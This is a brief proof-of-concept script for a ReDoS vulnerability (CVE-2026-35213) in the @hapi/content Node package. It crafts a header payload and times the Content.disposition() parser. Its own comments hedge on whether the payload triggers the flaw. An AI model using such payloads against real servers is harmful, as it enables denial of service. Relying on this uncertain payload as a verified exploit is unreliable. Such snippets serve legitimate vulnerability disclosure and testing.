CVE-2026-35213 @hapi/content ReDoS漏洞

const Content = require('@hapi/content'); // Simulate a malicious header value designed to trigger catastrophic backtracking // ReDoS payloads often involve nested quotes or complex repetitive patterns. const maliciousPayload = 'form-data; name="field"; filename="' + 'a'.repeat(100) + '"'; // Example 1: Testing Content-Disposition parsing (vulnerable function) // Note: The exact regex pattern depends on the version, but this demonstrates the trigger. console.log('Testing payload...'); try { const start = Date.now(); // This call may hang or take a very long time in versions <= 6.0.0 const parsed = Content.disposition(maliciousPayload); const end = Date.now(); console.log('Parsed result:', parsed); console.log('Time taken:', end - start, 'ms'); } catch (e) { console.error('Error during parsing:', e); }